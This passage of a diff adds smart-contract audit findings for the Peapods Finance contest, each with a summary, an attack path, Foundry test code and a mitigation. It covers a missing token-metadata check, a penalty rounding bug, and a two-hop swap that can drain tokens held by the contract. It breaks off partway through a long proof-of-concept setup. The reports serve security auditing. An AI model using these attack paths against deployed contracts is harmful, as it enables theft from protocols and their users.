+ //address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
+ uint256 public bondAmt = 1e18;
+ uint16 fee = 100;
+ uint256 public bondAmtAfterFee = bondAmt - (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly1 = (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly2 = (bondAmtAfterFee * fee) / 10000;
+
+ // Test users
+ address public alice = address(0x1);
+ address public bob = address(0x2);
+ address public carol = address(0x3);
+
+ event FlashMint(address indexed executor, address indexed recipient, uint256 amount);
+
+ event AddLiquidity(address indexed user, uint256 idxLPTokens, uint256 pairedLPTokens);
+
+ event RemoveLiquidity(address indexed user, uint256 lpTokens);
+
+ function setUp() public override {
+ super.setUp();
+
+ // 1. Deploy Mock ERC20s FIRST
+ dai = new MockERC20("MockDAI", "mDAI", 18);
+ mockDAI = address(dai);
+ mockWeth = new MockERC20("Wrapped Ether", "WETH", 18);
+ podLarge = new TestWeightedIndex();
+
+ // 2. Deploy Mock Factory
+ mockV2Factory = new MockUniswapV2Factory();
+ mockV2FactoryAddress = address(mockV2Factory);
+
+ // 3. Deploy Mock Router (using the factory address!)
+ mockV2Router = new MockUniswapV2Router(address(mockWeth), mockV2FactoryAddress);
+
+
+ // 4. Deploy Mock PEAS
+ peas = new MockPEAS("PEAS", "PEAS", 18);
+ peasAddress = address(peas);
+
+ // 5. Create and register the Mock Pair
+ mockPair = new MockUniswapV2Pair(address(dai), address(mockWeth));
+ mockPairAddress = address(mockPair);
+ mockV2Factory.setPair(address(dai), address(mockWeth), mockPairAddress); // VERY IMPORTANT!
+
+ // 6. Initialize the DEX Adapter (using the router)
+ dexAdapter = new UniswapDexAdapter(
+ twapUtils,
+ address(mockV2Router),
+ 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
+ false
+ );
+
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ address[] memory _t = new address[](1);
+ _t[0] = address(peas);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ false,
+ abi.encode(
+ mockDAI,
+ //dai,
+ peasAddress,
+ //address(peas),
+ mockDAI,
+ //0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ flashMintRecipient = new MockFlashMintRecipient();
+
+ // Initial token setup for test users
+ deal(address(peas), address(this), bondAmt * 100);
+ deal(address(peas), alice, bondAmt * 100);
+ deal(address(peas), bob, bondAmt * 100);
+ deal(address(peas), carol, bondAmt * 100);
+ deal(mockDAI, address(this), 5 * 10e18);
+
+ // Approve tokens for all test users
+ vm.startPrank(alice);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(carol);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+ }
+
+
+
+ function test_missing_ierc20metadata_check() public {
+ MockNonERC20 mockNonERC20 = new MockNonERC20(123); // Deploy a mock contract
+
+ // Test with mock contract as source token
+ vm.expectRevert("Source token not ERC20Metadata compliant"); // Expect the correct revert message
+ pod.getInitialAmount(address(mockNonERC20), 1e18, address(peas)); // peas is a valid IERC20Metadata contract
+
+ // Test with mock contract as target token
+ vm.expectRevert("Target token not ERC20Metadata compliant"); // Expect the correct revert message
+ pod.getInitialAmount(address(peas), 1e18, address(mockNonERC20));
+
+ // Test with mock contract as both source and target token
+ vm.expectRevert("Source token not ERC20Metadata compliant"); // Expect the correct revert message
+ pod.getInitialAmount(address(mockNonERC20), 1e18, address(mockNonERC20));
+ }
+}
+```
+
+See test result below without mitigation;
+
+
+
+
+Now see same test passes when mitigation is introduced, se below;
+
+
+
+
+
+
+
+
+
+
+
+
+### Mitigation
+
+Add checks to ensure tokens are ERC20Metadata-compliant before interacting with them:
+```diff
+function getInitialAmount(address _sourceToken, uint256 _sourceAmount, address _targetToken)
+ public
+ view
+ override
+ returns (uint256)
+{
+ // Check if tokens support decimals()
++ require(_isERC20MetadataCompliant(_sourceToken), "Source token not ERC20Metadata compliant");
++ require(_isERC20MetadataCompliant(_targetToken), "Target token not ERC20Metadata compliant");
+
+ // Existing logic...
+}
+
++function _isERC20MetadataCompliant(address _token) private view returns (bool) {
++ (bool success, ) = _token.staticcall(abi.encodeWithSignature("decimals()"));
++ return success;
++}
+```
+
+
+
diff --git a/289.md b/289.md
new file mode 100644
index 0000000..0247f76
--- /dev/null
+++ b/289.md
@@ -0,0 +1,74 @@
+Rare Flaxen Nightingale
+
+Medium
+
+# PodUnwrapLocker 10% extra penalty is not enforced if the original debond fee is not a multiple of 10
+
+### Summary
+
+when penaltyBps is to be calculated in the unwrap locker early withdraw , it directly divides the debondFee / 10 to calculate the penaltyBps
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L126-L139
+```solidity
+ uint256 _penaltyBps = _debondFee + _debondFee / 10;
+ uint256[] memory _penalizedAmounts = new uint256[](_lock.tokens.length);
+
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+ uint256 _penaltyAmount = (_lock.amounts[i] * _penaltyBps) / 10000;
+ _penaltyAmount = _penaltyAmount == 0 && _debondFee > 0 ? 1 : _penaltyAmount;
+ _penalizedAmounts[i] = _lock.amounts[i] - _penaltyAmount;
+ if (_penaltyAmount > 0) {
+ IERC20(_lock.tokens[i]).safeTransfer(_feeRecipient, _penaltyAmount);
+ }
+ IERC20(_lock.tokens[i]).safeTransfer(_msgSender(), _penalizedAmounts[i]);
+ }
+ }
+```
+the issue here is solidity does not support floating point numbers, always rounding down the issues of computations that result in floating point numbers
+this means that if the original debond fee is not a multiple of 10 or even worse is less then 10, the result will round down
+
+### Root Cause
+
+division in solidity always rounds down
+
+### Internal Pre-conditions
+
+Index contract whitelisting a podUnwrapLocker from debond fees
+pod debond fee is not a multiple of 10
+
+### External Pre-conditions
+
+users debond via podUnwrapLocker
+
+### Attack Path
+
+1. user debond via PodUnwrapLocker
+2. user doesnt wants to wait anymore and decides to withdraw early
+3. when penaltyBps is calculated, it rounds down
+4. user pays less in penalty as a result
+
+### Impact
+
+users will be able to early debond paying less or no extra penalty at all
+the value lost due to truncation could be great depending on the amount being withdrawn
+eg considering an original debond fee of 965bps ie 9.65 percent , 0.05 % will be truncated
+assuming assets withdrawn = 100_000 usdc, that will result in a 50usdc loss for the protocol
+
+### PoC
+
+take the following example with a debondFee of 0.5% ie 5bps
+when _penaltyBps is calculated
+_penaltyBps= 5 + 5 / 10 = 5 + 0 = 5
+the final penalty percent paid is still 5bps
+
+same would happen for a be
+
+### Mitigation
+
+scale debond fee when performing computation
+using the above example
+debondFee = debondFee * 1e13
+_penaltyBps= debondFee + debondFee / 10
+penaltyAmount = (_lock.amounts[i] * _penaltyBps) /
+ 1e18;
diff --git a/290.md b/290.md
new file mode 100644
index 0000000..78d69d6
--- /dev/null
+++ b/290.md
@@ -0,0 +1,59 @@
+Rare Flaxen Nightingale
+
+Medium
+
+# Two hop swaps can be used drain any token from the indexUtils contract
+
+### Summary
+
+the swapV2 function double hop swaps where the in token is first swapped to another token before being swapped to the out token
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/Zapper.sol#L213
+```solidity
+ if (_twoHops) {
+ uint256 _intermediateBal = IERC20(_path[1]).balanceOf(address(this));
+ IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+ DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+ }
+```
+the issue here is that after the first swap, the entire balance of the intermediary token is used for the second swap, including tokens that were already in the contract, allowing the sender to drain the contract of the intermediary token
+note: all tokens accumulated in the indexUtils are meant to be withdrawn by the owner
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/Zapper.sol#L295-L298
+```solidity
+ function rescueERC20(IERC20 _token) external onlyOwner {
+ require(_token.balanceOf(address(this)) > 0);
+ _token.safeTransfer(owner(), _token.balanceOf(address(this)));
+ }
+```
+ and several checks are made across several functions to ensure that users do not withdraw or use more tokens that then sent
+
+### Root Cause
+
+The entire contract balance of the intermediary token is used for the swap
+
+### Internal Pre-conditions
+
+path must exist in which the token the attacker wants to drain is the intermediary token
+
+
+
+### External Pre-conditions
+
+none
+
+### Attack Path
+
+1. The user calls addLpAndStake with pairedToken provided such that the path specified such that pairedTokenProvided -> token user wants to drain -> paired token of index fund
+2.swap occurs from token provided to drain token
+3. entire balance (previous balance + balanmce gained from swap) is used to swap to paired token if index fund draining the entire balance
+
+### Impact
+
+users can make use of tokens meant to be withdrawn by the owner
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+track the previous balance of the intermediary token before the first swap and only use the new balance for swaps
\ No newline at end of file
diff --git a/291.md b/291.md
new file mode 100644
index 0000000..7ecc01c
--- /dev/null
+++ b/291.md
@@ -0,0 +1,572 @@
+Witty Chartreuse Starling
+
+Medium
+
+# Pods with `hasTransferTax` set to `true` have an incorrect `totalSupply` because the burn fee is applied recursively to itself
+
+### Summary
+
+A pod can have a transfer tax, which is a small portion that stays in the pod as fees with each transfer, while another portion is burned. The problem is that burning also counts as a transfer, so when the burn fee is burned, another burn fee is recursively applied to it. As a result, with each recursive burn, the `totalSupply` decreases further, even though it was already reduced by the full burn fee at the beginning.
+
+### Root Cause
+
+In the `_update` function of the `DecentralizedIndex`, you can see that a transfer fee is applied to every transfer if it is enabled:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L159-L182
+In line 180, you can see that the burn fee is handled with `_processBurnFee`:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L217-L224
+Here, you can see that a portion of the fee is always burned, for which the `_burn` function is called. However, this `_burn` function also uses `_update`, which results in another fee being applied to the burn fee. This, in turn, causes `_processBurnFee` to be called again, further reducing the `totalSupply`, even though it was already reduced by the full burn fee during the first `_processBurnFee` call.
+Additionally, it is important to note that every time the fee is applied too often, users lose a small amount of pTKN because the fee is transferred again each time (see line 177 in `DecentralizedIndex`).
+
+
+### Internal Pre-conditions
+
+1. `hasTransferTax` must be true
+
+### External Pre-conditions
+
+No external pre-conditions
+
+### Attack Path
+
+There isn’t really an attack path, but with every transfer, buy, or sell, a burn fee is applied, which gets burned recursively too many times. Over time, this leads to a `totalSupply` that is lower than it should be. Additionally, whenever the `totalSupply` is too low, an incorrect amount of pTKN is minted when bonding, as it is calculated based on the `totalSupply`.
+
+### Impact
+
+This issue causes the total supply to decrease slightly every time a burn fee is applied. Each time, the reduction is small, but with many transfers, buys, and sells, the total supply becomes lower than it should be. Additionally, users lose some tokens because the fee is applied multiple times, leading to more tokens being transferred from them. Moreover, due to the incorrect total supply, too few pTKNs are minted during bonding:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L150
+
+### PoC
+
+1. To execute the POC, a `POC.t.sol` file should be created in `contracts/test/POC.t.sol`.
+2. The following code should be inserted into the file:
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.28;
+
+import {console} from "forge-std/console.sol";
+
+// forge
+import {Test} from "forge-std/Test.sol";
+
+// PEAS
+import {PEAS} from "../../contracts/PEAS.sol";
+import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
+import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
+import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
+import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
+import {IndexUtils} from "../../contracts/IndexUtils.sol";
+import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
+import {IndexUtils} from "../contracts/IndexUtils.sol";
+import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
+import {TokenRewards} from "../../contracts/TokenRewards.sol";
+
+// oracles
+import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
+import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
+import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
+import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
+import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";
+
+// protocol fees
+import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
+import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";
+
+// autocompounding
+import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
+import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
+
+// lvf
+import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
+import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
+import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";
+
+// flash
+import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
+import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
+import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
+import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";
+
+// uniswap-v2-core
+import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
+import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";
+
+// uniswap-v2-periphery
+import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";
+
+// uniswap-v3-core
+import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
+import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";
+
+// uniswap-v3-periphery
+import {SwapRouter02} from "swap-router/SwapRouter02.sol";
+import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
+import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
+import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
+
+// mocks
+import {WETH9} from "./invariant/mocks/WETH.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "./invariant/mocks/MockERC20.sol";
+import {TestERC20} from "./invariant/mocks/TestERC20.sol";
+import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
+import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
+import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
+import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";
+
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+
+contract AuditTests is PodHelperTest {
+ address alice = vm.addr(uint256(keccak256("alice")));
+ address bob = vm.addr(uint256(keccak256("bob")));
+ address charlie = vm.addr(uint256(keccak256("charlie")));
+
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ uint256 donatedAmount;
+ uint256 lavDeposits;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ PEAS internal _peas;
+ MockV3TwapUtilities internal _twapUtils;
+ UniswapDexAdapter internal _dexAdapter;
+ LendingAssetVault internal _lendingAssetVault;
+ LendingAssetVault internal _lendingAssetVault2;
+ RewardsWhitelist internal _rewardsWhitelist;
+
+ // oracles
+ V2ReservesUniswap internal _v2Res;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ UniswapV3SinglePriceOracle internal _uniOracle;
+ DIAOracleV2SinglePriceOracle internal _diaOracle;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Peas;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Weth;
+
+ // protocol fees
+ ProtocolFees internal _protocolFees;
+ ProtocolFeeRouter internal _protocolFeeRouter;
+
+ // pods
+ WeightedIndex internal _pod1Peas;
+
+ // index utils
+ IndexUtils internal _indexUtils;
+
+ // autocompounding
+ AutoCompoundingPodLpFactory internal _aspTKNFactory;
+ AutoCompoundingPodLp internal _aspTKN1Peas;
+ address internal _aspTKN1PeasAddress;
+
+ // lvf
+ LeverageManager internal _leverageManager;
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken1Peas;
+
+ // flash
+ UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;
+
+ // mocks
+ MockUniV3Minter internal _uniV3Minter;
+ MockERC20 internal _mockDai;
+ WETH9 internal _weth;
+ MockERC20 internal _tokenA;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+
+ // uniswap-v2-core
+ UniswapV2Factory internal _uniV2Factory;
+ UniswapV2Pair internal _uniV2Pool;
+
+ // uniswap-v2-periphery
+ UniswapV2Router02 internal _v2SwapRouter;
+
+ // uniswap-v3-core
+ UniswapV3Factory internal _uniV3Factory;
+ UniswapV3Pool internal _v3peasDaiPool;
+ UniswapV3Pool internal _v3peasDaiFlash;
+
+ // uniswap-v3-periphery
+ SwapRouter02 internal _v3SwapRouter;
+
+ function setUp() public override {
+ super.setUp();
+
+ _deployUniV3Minter();
+ _deployWETH();
+ _deployTokens();
+ _deployPEAS();
+ _deployUniV2();
+ _deployUniV3();
+ _deployProtocolFees();
+ _deployRewardsWhitelist();
+ _deployTwapUtils();
+ _deployDexAdapter();
+ _deployIndexUtils();
+ _deployWeightedIndexes();
+ _deployAutoCompoundingPodLpFactory();
+ _getAutoCompoundingPodLpAddresses();
+ _deployAspTKNOracles();
+ _deployAspTKNs();
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployFraxPairs();
+ _deployLendingAssetVault();
+ _deployLeverageManager();
+ _deployFlashSources();
+
+ _mockDai.mint(alice, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ _peas.transfer(alice, 100_000 ether);
+ _peas.transfer(bob, 100_000 ether);
+ _peas.transfer(charlie, 100_000 ether);
+ }
+
+ function _deployUniV3Minter() internal {
+ _uniV3Minter = new MockUniV3Minter();
+ }
+
+ function _deployWETH() internal {
+ _weth = new WETH9();
+
+ vm.deal(address(this), 1_000_000 ether);
+ _weth.deposit{value: 1_000_000 ether}();
+
+ vm.deal(address(_uniV3Minter), 2_000_000 ether);
+ vm.prank(address(_uniV3Minter));
+ _weth.deposit{value: 2_000_000 ether}();
+ }
+
+ function _deployTokens() internal {
+ _mockDai = new MockERC20();
+ _tokenA = new MockERC20();
+ _tokenB = new MockERC20();
+ _tokenC = new MockERC20();
+
+ _mockDai.initialize("MockDAI", "mDAI", 18);
+ _tokenA.initialize("TokenA", "TA", 18);
+ _tokenB.initialize("TokenB", "TB", 18);
+ _tokenC.initialize("TokenC", "TC", 18);
+
+ _tokenA.mint(address(this), 1_000_000 ether);
+ _tokenB.mint(address(this), 1_000_000 ether);
+ _tokenC.mint(address(this), 1_000_000 ether);
+ _mockDai.mint(address(this), 1_000_000 ether);
+
+ _tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
+ _mockDai.mint(address(_uniV3Minter), 1_000_000 ether);
+
+ _tokenA.mint(alice, 1_000_000 ether);
+ _tokenB.mint(alice, 1_000_000 ether);
+ _tokenC.mint(alice, 1_000_000 ether);
+ _mockDai.mint(alice, 1_000_000 ether);
+
+ _tokenA.mint(bob, 1_000_000 ether);
+ _tokenB.mint(bob, 1_000_000 ether);
+ _tokenC.mint(bob, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+
+ _tokenA.mint(charlie, 1_000_000 ether);
+ _tokenB.mint(charlie, 1_000_000 ether);
+ _tokenC.mint(charlie, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ }
+
+ function _deployPEAS() internal {
+ _peas = new PEAS("Peapods", "PEAS");
+ _peas.transfer(address(_uniV3Minter), 2_000_000 ether);
+ }
+
+ function _deployUniV2() internal {
+ _uniV2Factory = new UniswapV2Factory(address(this));
+ _v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
+ }
+
+ function _deployUniV3() internal {
+ _uniV3Factory = new UniswapV3Factory();
+ _v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
+ _v3peasDaiPool.initialize(1 << 96);
+ _v3peasDaiPool.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);
+
+ _v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
+ _v3peasDaiFlash.initialize(1 << 96);
+ _v3peasDaiFlash.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);
+
+ _v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
+ }
+
+ function _deployProtocolFees() internal {
+ _protocolFees = new ProtocolFees();
+ _protocolFees.setYieldAdmin(500);
+ _protocolFees.setYieldBurn(500);
+
+ _protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
+ bytes memory code = address(_protocolFeeRouter).code;
+ vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
+ _protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);
+
+ vm.prank(_protocolFeeRouter.owner());
+ _protocolFeeRouter.transferOwnership(address(this));
+ _protocolFeeRouter.setProtocolFees(_protocolFees);
+ }
+
+ function _deployRewardsWhitelist() internal {
+ _rewardsWhitelist = new RewardsWhitelist();
+ bytes memory code = address(_rewardsWhitelist).code;
+ vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
+ _rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);
+
+ vm.prank(_rewardsWhitelist.owner());
+ _rewardsWhitelist.transferOwnership(address(this));
+ _rewardsWhitelist.toggleRewardsToken(address(_peas), true);
+ }
+
+ function _deployTwapUtils() internal {
+ _twapUtils = new MockV3TwapUtilities();
+ bytes memory code = address(_twapUtils).code;
+ vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
+ _twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
+ }
+
+ function _deployDexAdapter() internal {
+ _dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
+ }
+
+ function _deployIndexUtils() internal {
+ _indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
+ }
+
+ function _deployWeightedIndexes() internal {
+ IDecentralizedIndex.Config memory _c;
+ _c.hasTransferTax = true;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = 300;
+ _f.debond = 300;
+ _f.burn = 5000;
+ _f.buy = 200;
+
+ // POD1 (Peas)
+ address[] memory _t1 = new address[](1);
+ _t1[0] = address(_peas);
+ uint256[] memory _w1 = new uint256[](1);
+ _w1[0] = 100;
+ address __pod1Peas = _createPod(
+ "Peas Pod",
+ "pPeas",
+ _c,
+ _f,
+ _t1,
+ _w1,
+ address(0),
+ false,
+ abi.encode(
+ address(_mockDai),
+ address(_peas),
+ address(_mockDai),
+ address(_protocolFeeRouter),
+ address(_rewardsWhitelist),
+ address(_twapUtils),
+ address(_dexAdapter)
+ )
+ );
+ _pod1Peas = WeightedIndex(payable(__pod1Peas));
+
+ _peas.approve(address(_pod1Peas), 100_000 ether);
+ _mockDai.approve(address(_pod1Peas), 100_000 ether);
+ _pod1Peas.bond(address(_peas), 100_000 ether, 1 ether);
+ _pod1Peas.addLiquidityV2(100_000 ether, 100_000 ether, 100, block.timestamp);
+ }
+
+ function _deployAutoCompoundingPodLpFactory() internal {
+ _aspTKNFactory = new AutoCompoundingPodLpFactory();
+ }
+
+ function _getAutoCompoundingPodLpAddresses() internal {
+ _aspTKN1PeasAddress = _aspTKNFactory.getNewCaFromParams(
+ "Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0
+ );
+ }
+
+ function _deployAspTKNOracles() internal {
+ _v2Res = new V2ReservesUniswap();
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+ _uniOracle = new UniswapV3SinglePriceOracle(address(0));
+ _diaOracle = new DIAOracleV2SinglePriceOracle(address(0));
+
+ _aspTKNMinOracle1Peas = new aspTKNMinimalOracle(
+ address(_aspTKN1PeasAddress),
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ address(_mockDai),
+ false,
+ false,
+ _pod1Peas.lpStakingPool(),
+ address(_v3peasDaiPool)
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
+ );
+ }
+
+ function _deployAspTKNs() internal {
+ //POD 1
+ address _lpPeas = _pod1Peas.lpStakingPool();
+ address _stakingPeas = StakingPoolToken(_lpPeas).stakingToken();
+
+ IERC20(_stakingPeas).approve(_lpPeas, 1000);
+ StakingPoolToken(_lpPeas).stake(address(this), 1000);
+ IERC20(_lpPeas).approve(address(_aspTKNFactory), 1000);
+
+ _aspTKNFactory.create("Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0);
+ _aspTKN1Peas = AutoCompoundingPodLp(_aspTKN1PeasAddress);
+ }
+
+ function _deployVariableInterestRate() internal {
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ }
+
+ function _deployFraxPairs() internal {
+ vm.warp(block.timestamp + 1 days);
+
+ _fraxLPToken1Peas = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ _pod1Peas.PAIRED_LP_TOKEN(), // asset
+ _aspTKN1PeasAddress, // collateral
+ address(_aspTKNMinOracle1Peas), //oracle
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+ }
+
+ function _deployLendingAssetVault() internal {
+ _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
+ IERC20 vaultAsset1Peas = IERC20(_fraxLPToken1Peas.asset());
+ vaultAsset1Peas.approve(address(_fraxLPToken1Peas), vaultAsset1Peas.totalSupply());
+ vaultAsset1Peas.approve(address(_lendingAssetVault), vaultAsset1Peas.totalSupply());
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
+
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken1Peas);
+ uint256[] memory _allocations = new uint256[](1);
+ _allocations[0] = 100_000e18;
